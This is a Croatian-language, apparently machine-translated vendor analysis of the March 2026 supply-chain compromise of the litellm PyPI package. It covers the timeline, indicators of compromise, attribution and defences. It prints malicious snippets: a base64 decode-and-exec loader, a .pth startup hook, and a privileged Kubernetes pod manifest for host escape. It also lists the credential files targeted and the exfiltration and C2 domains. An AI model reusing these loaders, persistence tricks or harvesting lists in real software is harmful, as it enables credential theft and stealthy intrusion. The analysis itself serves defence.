Zašto ovo stvarima
24. ožujka 2026. godine, popularni Python paket litellm, univerzalni LLM proxy pristupnik koji koriste tisuće enterpriseza usmjeravanje prometa između aplikacija i pružatelja umjetne inteligencije poput OpenAI-a, Anthropica, Googlea i AWS Bedrocka, tiho je kompromitiran na PyPI-ju. Dvije zaražene verzije (1.82.7 i 1.82.8) objavljene su u razmaku od 13 minuta, noseći višefazni korisni teret koji je krao vjerodajnice, izvlačio tajne iz oblaka, širio se lateralno preko Kubernetes klastera i instalirao trajna stražnja vrata s mogućnostima udaljenog izvršavanja koda.
S približno 3.6 milijuna dnevnih preuzimanja i dubokom implementacijom u cloud-native AI infrastrukturi, litellm se nalazi na raskrižju svega što moderni napadači žele: API ključeva za svakog glavnog pružatelja AI usluga, cloud IAM vjerodajnica, Kubernetes tajni i SSH ključeva.
Ali kompromis Litellm nije bio izolirani događaj. Bio je to vrhunac petodnevna kampanja koja obuhvaća pet ekosustava od strane prijetećeg aktera poznatog kao TeamPCP, kampanja koja je prvo zatrovala sigurnosne skenere (Aqua Trivy, Checkmarx KICS), a zatim koristila ukradene CI/CD vjerodajnice za kaskadno slanje nizvodno u npm, OpenVSX i konačno PyPI. Napadači su oružjem pretvorili upravo alate na koje se organizacije oslanjaju kako bi zaštitile svoje lance opskrbe.
Ovaj napad predstavlja značajnu promjenu u sofisticiranosti prijetnji lancu opskrbe. Dizajn s više skokova i preko ekosustava ugrožava sigurnosne alate kako bi se postigla visoka vrijednost. Infrastruktura umjetne inteligencije, odražava razinu planiranja i operativne zrelosti u skladu sa sve komodificiranijim alatima za napade. Korisni sadržaji su iterirani u stvarnom vremenu (tri varijante korisnog sadržaja pojavljuju se u izvornom kodu, uključujući ranije verzije s komentarima), C2 infrastruktura je registrirana dan prije napada, a domene za eksfiltraciju pažljivo su odabrane kako bi oponašale infrastrukturu legitimnih dobavljača. Sustavno sveobuhvatni alat za prikupljanje vjerodajnica, koji pokriva više od 15 kategorija, uključujući nišne ciljeve poput Cardano ključeva za potpisivanje i WireGuard konfiguracija, sugerira stupanj temeljitosti koji ukazuje na razvoj zlonamjernog softvera potpomognutog umjetnom inteligencijom kao multiplikator sile.
Timeline
| Datum (UTC) | događaj |
|---|---|
| ožujak 19 | TeamPCP kompromituje Aqua Trivy GitHub Action oznake, zamjenjujući ih zlonamjernim kodom koji se infiltrira CI/CD tajne iz nizvodnih repozitorija |
| ožujak 21 | Kompromis se proteže na Checkmarx KICS i AST GitHub akcije koristeći slične tehnike. |
| 22. ožujka, 06:35 | BerriAI objavljuje litellm 1.82.6 (posljednju čistu verziju) putem normalnog CI/CD pipeline koji koristi Trivy za sigurnosno skeniranje |
| ožujak 23 | TeamPCP registrira models.litellm.cloud (domena za eksfiltraciju). Kompromitira više od 66 npm paketa i OpenVSX ekstenzija. |
| 24. ožujka, 10:39 | litellm 1.82.7 objavljen na PyPI -- korisni teret ubrizgan u proxy_server.py u opsegu modula. Izvršava se pri uvozu |
| 24. ožujka, 10:52 | litellm 1.82.8 objavljen 13 minuta kasnije -- dodaje litellm_init.pth, hook za konfiguraciju putanje u Pythonu koji se izvršava pri svakom pokretanju Python interpretera, ne samo pri uvozu litellm-a. Prikazuje brzu iteraciju korisnog tereta |
| 24. ožujka, ~16:00 | PyPI uklanja obje verzije nakon prijava zajednice. Verzije se u potpunosti brišu (ne uklanjaju) iz indeksa, iako CDN tarballovi ostaju dostupni. |
Prozor ekspozicije: približno 5.5 sati. Tijekom ovog vremena, bilo koji pip install litellm, pip install --upgrade litellmili CI/CD pipeline izvlačenje najnovije verzije bi izvršilo korisni teret.
Kako je zlonamjerni softver ušao: Kaskadni kompromis
Litellm paket nije bio izravno provaljen. Napadač je do njega došao putem napad na lanac opskrbe s dva skoka:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM CI/CD pipeline koristio je Trivy kao sigurnosni skener - sam alat dizajniran za otkrivanje ranjivosti bio je vektor napada. Jer pipeline referencirano na Trivy pomoću promjenjive oznake, a ne prikvačene oznake commit SHA, kompromitovana akcija se pokrenula automatski. Zlonamjerna Trivy akcija je otkrila tajne okruženja, uključujući PYPI_PUBLISH token, dajući TeamPCP-u izravan pristup objavljivanju projekta litellm PyPI.
Ova strategija „ugrožavanja čuvara“ obilježje je kampanje TeamPCP. Ciljajući prvo sigurnosne alate (Trivy, Checkmarx KICS), napadači su istovremeno onemogućili detekciju i dobili privilegirani pristup nizvodnim lancima opskrbe.
Tehnička analiza: Korisni teret
Točke ubrizgavanja
Verzija 1.82.7 — Izvršavanje na razini modula u litellm/proxy/proxy_server.py (redak 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Ovaj kod se nalazi u opsegu modula između literala rječnika i originala showwarning() funkcija. Izvršava se odmah kada litellm.proxy.proxy_server se uvozi — što se događa pri bilo kojoj upotrebi litellmove proxy funkcionalnosti.
Verzija 1.82.8 — Dodano litellm_init.pth (Datoteka za konfiguraciju putanje u Pythonu):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Piton .pth datoteke u site-packages/ obrađuju se pri svakom pokretanju interpretera, ali samo redovi koji počinju s import izvršavaju se kao kod. Napadač to iskorištava tako što cijeli korisni teret veže na jedan import izjava: import os, subprocess, sys; subprocess.Popen(...)Ovo je puno agresivnije od injekcije proxy_server.py — aktivira se čak i ako litellm nikada nije uvezen, pri svakom pokretanju Python procesa. pyproject.toml je izmijenjen kako bi se ova datoteka uključila u distribuciju:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Verzija 1.82.8 stoga ima dva neovisna puta izvršenja: injekcija proxy_server.py (pokreće se pri uvozu litellm proxyja) i .pth datoteka (pokreće se pri bilo kojem pokretanju Pythona). Redundancija je sama po sebi značajna - štiti od otkrivanja ili uklanjanja bilo koje putanje pojedinačno. Eskalacija od vremena uvoza do izvršavanja pri pokretanju samo 13 minuta nakon verzije 1.82.7 sugerira da je napadač pratio uspjeh implementacije i brzo ponavljao.
Faza 1: Sveobuhvatno prikupljanje vjerodajnica
Dekodirani unutarnji scenarij je pedantan vakuum vjerodajnica. Koristi os.walk(), glob.glob(), subprocess.check_output(), i izravno čitanje datoteka za pregled cijelog sustava:
| Kategorija | Mete |
|---|---|
| Izviđanje sustava | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; ključevi hosta od /etc/ssh/ |
| Oblak (AWS) | ~/.aws/credentials, ~/.aws/config; IMDS vjerodajnice za ulogu putem 169.254.169.254Upravitelj tajni ListSecretsSSM DescribeParameters |
| Oblak (GCP) | ~/.config/gcloud/ (rekurzivno); $GOOGLE_APPLICATION_CREDENTIALS |
| Oblak (Azure) | ~/.azure/ (rekurzivno); varijable okruženja |
| Kubernetes | Tokeni servisnog računa; ca.crtimenski prostor; kubectl get secrets --all-namespacessve tajne putem K8s API-ja |
| Datoteke okruženja | .env, .env.local, .env.production, .env.development, .env.staging — rekurzivno pretraživano (dubina 6) po cijelom /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Lučki radnik | ~/.docker/config.json, /kaniko/.docker/config.json |
| Tokeni paketa | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Baze podataka | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB konfiguracije |
| TLS / SSL | Privatni ključevi od /etc/ssl/private/, Šifrirajmo certifikate, sve .pem/.key/.p12/.pfx slika |
| ići | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Kripto novčanike | Bitcoin, Ethereum spremište ključeva, Solana parovi ključeva (validator, vote, stake, faucet), Cardano ključevi za potpisivanje, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Povijest ljuske | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Autorizacija sustava | /etc/passwd, /etc/shadow, zapisnici autorizacije (prihvaćene SSH sesije) |
| Ključevi webhooka/API-ja | Grep za Slack webhooks, Discord webhooks, API ključevi/tajne u konfiguracijskim datotekama |
| VPN | WireGuard konfiguracije od /etc/wireguard/ |
Opseg ovog sakupljača podataka je enciklopedijski. Cilja ne samo cloud vjerodajnice, već i kriptovalutne novčanike, lozinke baza podataka, VPN konfiguracije i CI/CD tajne — što sugerira da napadač namjerava unovčiti kompromitirane sustave na više načina.
Faza 2: Šifrirana eksfiltracija
Ukradeni podaci se šifriraju i eksfiltriraju pomoću hibridne sheme šifriranja:
- AES-256-CBC šifriranje svih prikupljenih podataka slučajnim 32-bajtnim ključem sesije (putem
openssl enc) - RSA-4096 šifriranje ključa sesije pomoću ugrađenog javnog ključa napadača (OAEP padding, putem
openssl pkeyutl) - Obje šifrirane datoteke u paketu kao
tpcp.tar.gz(tpcpprefiks — „TeamPCP“ — pojavljuje se dosljedno tijekom cijele kampanje) - HTTPS POST za
https://models.litellm.cloud/saContent-Type: application/octet-stream
Domena models.litellm.cloud registriran je 23. ožujka - dan prije napada - i dizajniran je za spajanje s legitimnom infrastrukturom Litellm (pravi projekt koristi litellm.ai). Čak i branitelj koji je svjestan mreže i pregledava izlazni promet možda neće označiti promet prema onome što se čini kao krajnja točka modela Litellm-a.
Faza 3: Trajni stražnji ulaz (sysmon.py)
Korisni teret instalira backdoor za anketiranje prikriven kao telemetrija sustava:
- Put:
~/.config/sysmon/sysmon.py - Servis:
sysmon.service(korisnička jedinica systemd, opisana kao „Usluga sistemske telemetrije“) - PonašanjeNakon početnih 300 sekundi sna, ankete
https://checkmarx.zone/rawsvakih ~50 minuta - IzvršenjePreuzima URL koji je vratio C2 na
/tmp/pglog, postavlja ga u izvršnu datoteku (chmod 755), pokreće ga u odvojenoj sesiji - Praćenje stanja:
/tmp/.pg_statesprječava ponovno preuzimanje istog korisnog tereta - Upornost:
Restart=always,RestartSec=10— preživi padove i ponovna pokretanja
Domena checkmarx.zone je tipografska greška tvrtke Checkmarx (zaštitarska tvrtka u checkmarx.com), osmišljen tako da SOC analitičari koji pregledavaju mrežne zapisnike vide promet prema onome što se čini legitimnim dobavljačem sigurnosnih usluga. Ovo je namjerna tehnika izbjegavanja u skladu sa širom strategijom TeamPCP-a skrivanja iza brendiranja dobavljača sigurnosnih usluga.
Faza 3b: Kubernetesovo lateralno kretanje
Ako kompromitirani sustav ima vjerodajnice Kubernetes servisnog računa, zlonamjerni softver nabraja sve čvorove klastera i implementira ih. privilegirani podovi svakome od njih:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Svaki pod:
- Radi kao privilegovan sa
hostPID,hostNetworki potpuni pristup datotečnom sustavu hosta - Koristi
chroot /hostinstalirati istosysmon.pystražnja vrata na korijenskom datotečnom sustavu hosta - Registrira ga kao systemd uslugu, osiguravajući da perzistentnost preživi brisanje pod-a
- Ime je dobio
node-setup-*ukube-systemprostor imena da se pojavi kao legitimna infrastruktura klastera
To znači jedan kompromitiran CI/CD trkač s K8s pristupom mogao bi rezultirati skrivenim pristupom svakom čvoru u klasteru. — katastrofalni scenarij lateralnog kretanja za organizacije koje koriste litellm kao proxy u Kubernetes-u.
Evolucija korisnog tereta (komentirane varijante)
Izvorni kod u retcima 131-132 sadrži dvije ranije varijante korisnog tereta bez komentara, otkrivajući napadačev proces razvoja:
- Sve tri varijante dijele istu infrastrukturu za izvlačenje (
models.litellm.cloud), javni ključ RSA-4096, hibridni omotač za šifriranje AES-256-CBC + RSA itpcp.tar.gzimenovanje paketa - Ranije varijante dodao RC4 sloj šifriranja unutar skripte za prikupljanje podataka, šifrirajući prikupljene podatke prije vanjskog AES+RSA omotača. Aktivni korisni teret (linija 130) pojednostavljen je uklanjanjem ovog unutarnjeg RC4 sloja
- Ranije varijante koriste
exec()saStringIOsnimanje za pokretanje kolektora u procesu, dok aktivni korisni teret koristisubprocess.run()s preusmjeravanjem stdout-a — čišćim odvajanjem koje izbjegava zagađenje glavnog procesa - Sve tri varijante ciljaju iste kategorije vjerodajnica i putove prikupljanja
- RC4 ključ u ranijim varijantama bio je provokativna uvreda, u skladu s glumčevim ponašanjem traženja pažnje na Telegramu.
To otkriva aktivan razvoj tijekom operacije. Napadač je pojednostavio šifrirni stog i poboljšao izolaciju izvršenja, a istovremeno je održao stabilnost ciljeva prikupljanja i infrastrukture za eksfiltraciju.
Pokazatelji kompromisa (MOK)
mreža
| Pokazatelj | Tip | Svrha |
|---|---|---|
models.litellm.cloud | Domena | Krajnja točka eksfiltracije (HTTPS POST) |
checkmarx.zone | Domena | Krajnja točka ispitivanja C2 (HTTPS GET /raw) |
Napomena: Veze za vanjska izvješća checkmarx.zone/static/checkmarx-util-1.0.4.tgz na raniju KICS fazu kampanje TeamPCP. Ovaj URL nije pronađen u ovdje analiziranim korisnim podacima litellm-a.
Hashevi paketa
| file | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
File System
| Pokazatelj | Tip | Svrha |
|---|---|---|
~/.config/sysmon/sysmon.py | file | Uporni backdoor skript |
~/.config/systemd/user/sysmon.service | file | Jedinica perzistencije Systemd |
/tmp/pglog | file | Preuzeta binarna datoteka druge faze |
/tmp/.pg_state | file | Praćenje stanja C2 |
litellm_init.pth in site-packages/ | file | Python startup hook (samo v1.82.8) |
tpcp.tar.gz | file | Šifrirani paket za eksfiltraciju |
Kubernetes
| Pokazatelj | Tip | Svrha |
|---|---|---|
node-setup-* mahune u kube-system | Mahuna | Privilegirane kapsule za bočno kretanje |
sysmon.service na čvorovima klastera | Servis | Perzistencija na razini hosta putem pod escape-a |
Kriptografski
| Pokazatelj | Detaljnije |
|---|---|
| Javni ključ napadača RSA-4096 | SHA256 otisak prsta: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Ugrađeno u sve tri varijante korisnog tereta; isti ključ prijavljen u drugim TeamPCP operacijama |
tpcp prefiks u artefaktima | Konvencija imenovanja paketa (tpcp.tar.gz) dosljedno tijekom cijele kampanje |
Pripisivanje: TeamPCP
Prati se prijetnja koja stoji iza ove kampanje TeamPCP, također poznat kao PCPcat, Persy_PCP, ShellForce i DeadCatx3.
Poznate karakteristike:
- Održava Telegram kanale na
@Persy_PCPi@teampcpgdje su ismijavali zaštitarske tvrtke - Radi na više ekosustava (GitHub Actions, PyPI, npm, OpenVSX)
- Koristi domene s tipografskim greškama specifične za dobavljača za svaku fazu kampanje (npr.
checkmarx.zoneza Checkmarxa,models.litellm.cloudza litellm) - Konzistentni infrastrukturni markeri: isti par RSA ključeva,
tpcp.tar.gzkonvencija imenovanja,tpcp-docs-*GitHub repozitoriji koji se koriste kao dead-drop pripremni prostori - Cilja sigurnosne alate kao ulazne točke u nizvodne lance opskrbe
Pouzdanost atribucije: Visoko. Dijeljeni RSA javni ključ, tpcp Imenovanje artefakata, preklapanje C2 infrastrukture i operativni tempo tijekom petodnevne kampanje snažno povezuju kompromise Trivy, KICS, npm, OpenVSX i litellm s istim akterom.
MotivacijaVjerojatno financijski (krađa kripto novčanika, monetizacija cloud vjerodajnica) u kombinaciji s ozloglašenošću (zadirkujući Telegram). Širina prikupljanja vjerodajnica - od AWS IAM-a do parova ključeva Solana validatora do WireGuard konfiguracija - sugerira financijski motiviranog aktera koji želi maksimizirati povrat ulaganja od svakog kompromisa.
Moguća pomoć umjetne inteligencijeAlat za prikupljanje vjerodajnica sustavno je sveobuhvatan - više od 15 kategorija, uključujući nišne ciljeve poput Cardano ključeva za potpisivanje, WireGuard konfiguracija i Kaniko Docker vjerodajnica - na način koji je u skladu s nabrajanjem potpomognutim umjetnom inteligencijom. Brzina iteracije korisnog tereta (tri varijante s različitim shemama šifriranja), koordinacija među ekosustavima (5 ekosustava u 5 dana) i operativni OPSEC (domene koje se lažno predstavljaju kao dobavljači, hibridno šifriranje, perzistencija systemd-a prikrivena kao telemetrija) sugeriraju razinu propusnosti koja može odražavati razvoj potpomognut umjetnom inteligencijom kao multiplikator snage. Ova procjena je spekulativna; vješti operateri mogli bi postići sličan opseg bez alata za umjetnu inteligenciju.
Novi TTP-ovi i tehnike
1. Trovanje lanca opskrbe sigurnosnim alatom (varijanta T1195.002)
Kompromitiranje sigurnosnih skenera (Trivy, KICS) kao prvog koraka za dosezanje nizvodnih ciljeva predstavlja novu eskalaciju. Napadač nije samo kompromitirao biblioteku - kompromitirali su alate koje organizacije koriste za... otkriti kompromitirane biblioteke. To stvara slijepu točku: skener koji bi trebao uhvatiti zlonamjerni kod sam je mehanizam isporuke.
2. piton .pth Trajnost datoteke (T1546)
The litellm_init.pth Tehnika u v1.82.8 je posebno podmukla. Python .pth datoteke u site-packages/ obrađuju se pri svakom pokretanju interpretera; bilo koji redak koji počinje s import izvršava se kao kod. Lančanim povezivanjem korisnog tereta na jedan import Izjavom, napadač postiže izvršenje na svakom Python procesu - ne samo kada se litellm uveze. To znači da se korisni teret aktivira čak i ako je litellm instaliran, ali se nikada ne koristi, te da preživi sanaciju koja zamjenjuje kompromitirani .py datoteke bez provjere .pth slika.
3. Lateralno kretanje na razini cijelog Kubernetes klastera putem implementacije privilegiranog pod-a (T1610, T1611)
Automatizirano stvaranje privilegiranih podova na svakom čvoru klastera — s hostPID, hostNetwork, montiranje datotečnog sustava glavnog računala i chroot instalirati persistence — ulančava raspoređivanje kontejnera (T1610) s izlazom na host (T1611) kako bi se jedno kompromitovano opterećenje pretvorilo u potpuno kompromitirano klastersko radno opterećenje.
4. C2 infrastruktura koja se lažno predstavlja kao dobavljač
Korištenje models.litellm.cloud (imitira litellm) i checkmarx.zone (imitira Checkmarx) kao krajnje točke C2/exfila dizajnirane su kako bi se izbjeglo praćenje mreže. SOC analitičari koji pregledavaju izlazni promet vidjeli bi HTTPS veze s onim što se čini kao legitimne domene dobavljača.
5. Brza iteracija korisnog tereta tijekom leta
Objavljivanje v1.82.7 s izvršavanjem za vrijeme uvoza, a zatim v1.82.8 s izvršavanjem za vrijeme pokretanja 13 minuta kasnije, pokazuje da napadač prati i prilagođava se u stvarnom vremenu. Komentirane varijante korisnog tereta (s različitim shemama šifriranja) sačuvane u izvornom kodu potvrđuju aktivan razvoj tijekom operacije.
Što se može učiniti
Ovaj napad iskorištava povjerenje na svakom sloju: povjerenje u sigurnosne alate, povjerenje u registre paketa, povjerenje u poznate domene, povjerenje u CI/CD automatizacije. Obrana od nje zahtijeva jačanje svake od ovih granica povjerenja:
Za korisnike paketa
- Prikvači ovisnosti prema hashu, ne samo prema verziji.
pip install litellm==1.82.6 --hash=sha256:...bi spriječilo instaliranje kompromitiranih verzija čak i ako bi se nakratko pojavile kao najnovija verzija. - Koristite datoteke zaključavanja.
pip-compile,poetry.lockiuv.locksnimiti točne verzije i hashove. CI/CD treba instalirati iz lockfiles, a ne iz lebdećih specifikatora verzije. - Monitor za
.pthslika. Redovito provjeravajtesite-packages/za neočekivano.pthdatoteke — izvršavaju se pri svakom pokretanju Pythona i podcijenjeni su mehanizam perzistencije. - Implementirajte kontrole izlazne mreže. Izvlačenje do
models.litellm.cloudi C2 anketiranje zacheckmarx.zonemoglo je biti uhvaćeno filtriranjem izlaza na temelju dopuštene liste u produkcijskim okruženjima.
Za održavatelje paketa
- bor CI/CD akcije od strane commit SHA, ne oznaka. LiteLLM pipeline koristio Trivy bez prikvačene verzije. Da je referencirao
aquasecurity/trivy-action@<commit-sha>umjesto@latest, kompromitirana radnja ne bi bila izvršena. - Koristite kratkotrajne, ograničene tokene za objavljivanje. PyPI podržava pouzdane izdavače (bazirane na OIDC-u) i API tokene s određenim opsegom. Izvučeni
PYPI_PUBLISHToken nije trebao imati dugotrajan, neograničen pristup objavljivanju. - Omogućite dvofaktorsku autentifikaciju na PyPI-ju. Zahtijevajte 2FA za sve održavatelje i koristite hardverske sigurnosne ključeve gdje je to moguće.
- Potpišite pakete. Sigstore/PEP 740 atesti omogućuju potrošačima da provjere je li paket izgrađen prema očekivanom CI/CD pipeline, a ne od strane napadača s ukradenim tokenom.
Za operatere platformi (PyPI, npm, GitHub)
- Otkrivanje anomalnih obrazaca objavljivanja. Dvije nove verzije objavljene u razmaku od 13 minuta, s drugačije IP adrese ili tokena od uobičajenog, trebale bi pokrenuti zadržavanje radi pregleda ili automatsko skeniranje prije nego što paket postane instalacijski.
- Ubrzajte usvajanje programa Pouzdani izdavači. Objavljivanje temeljeno na OIDC-u povezuje pakete s određenim repozitorijima i tijekovima rada, čineći ukradene tokene beskorisnima izvan originala. CI/CD kontekst.
- Implementirajte skeniranje zlonamjernog softvera tijekom objavljivanja. Base64 dekodirani korisni teret u proxy_server.py bi se mogao otkriti statičkom analizom u vrijeme objave.
Za ekosustav
- Tretirajte sigurnosne alate kao kritičnu infrastrukturu. Trivy i Checkmarx KICS koriste milijuni pipelineNjihove GitHub akcije trebaju biti potpisane, prikvačene i nadzirane s istom strogošću kao i paketi koje skeniraju.
- Investirajte u detekciju za vrijeme izvođenja. Statička analiza sama po sebi ne može uhvatiti svaku tehniku obfuskacije. Praćenje instalacije paketa tijekom izvođenja hooks, neočekivane mrežne veze i sumnjivi obrasci pristupa datotekama pružaju dubinsku obranu.
- Brže dijelite obavještajne podatke o prijetnjama. Prozor izloženosti od 5.5 sati za litellm mogao je biti kraći uz bržu koordinaciju među dobavljačima. Automatizirane usluge skeniranja poput Xygeni MEW, Socket i Snyk otkrile su anomaliju - usko grlo je ljudska potvrda i vrijeme odziva registra.
Zaključak
Kampanja TeamPCP je prekretnica za software supply chain securityPrvo kompromitirajući sigurnosne skenere i koristeći ih kao odskočnu dasku za visokovrijednu AI infrastrukturu, napadači su pokazali da je lanac opskrbe jak samo onoliko koliko je jaka njegova najslabija tranzitivna ovisnost, a ta ovisnost bi mogla biti sigurnosni alat kojem vjerujete da će vas zaštititi.
Kompromis litellm-a posebno naglašava rastući rizik za AI infrastrukturu. Kako LLM proxy pristupnici postaju standard uzorak za enterprise Implementacijom umjetne inteligencije, oni koncentriraju pristup API ključevima, vjerodajnicama za oblak i osjetljivim podacima u jednoj komponenti. Kompromitiranje te komponente je kostur ključa za cijeli AI stog.
Organizacije koje su instalirale litellm 1.82.7 ili 1.82.8 tijekom razdoblja od 5.5 sati trebale bi ovo tretirati kao potpuno kompromitiranje vjerodajnica: rotirati sve tajne na pogođenim sustavima, provjeriti Kubernetes klastere za node-setup-* mahune u kube-system, uklonite bilo koje sysmon.service sistemske jedinice i provjerite litellm_init.pth u Pythonu site-packages/ direktoriji. Korisnici službene Docker slike (ghcr.io/berriai/litellm) nisu bili pogođeni, jer je slika pričvrstila svoje ovisnosti i nije obnovljena tijekom prozora ekspozicije.
O Autor:
Suosnivač i tehnički direktor
Louis Rodriguez je suosnivač i tehnički direktor tvrtke Xygeni Security. S više od 20 godina iskustva u sigurnosti aplikacija, fokusira se na AppSec zaštitu i napredne mogućnosti analize koda koje pomažu timovima da smanje stvarni rizik isporuke.




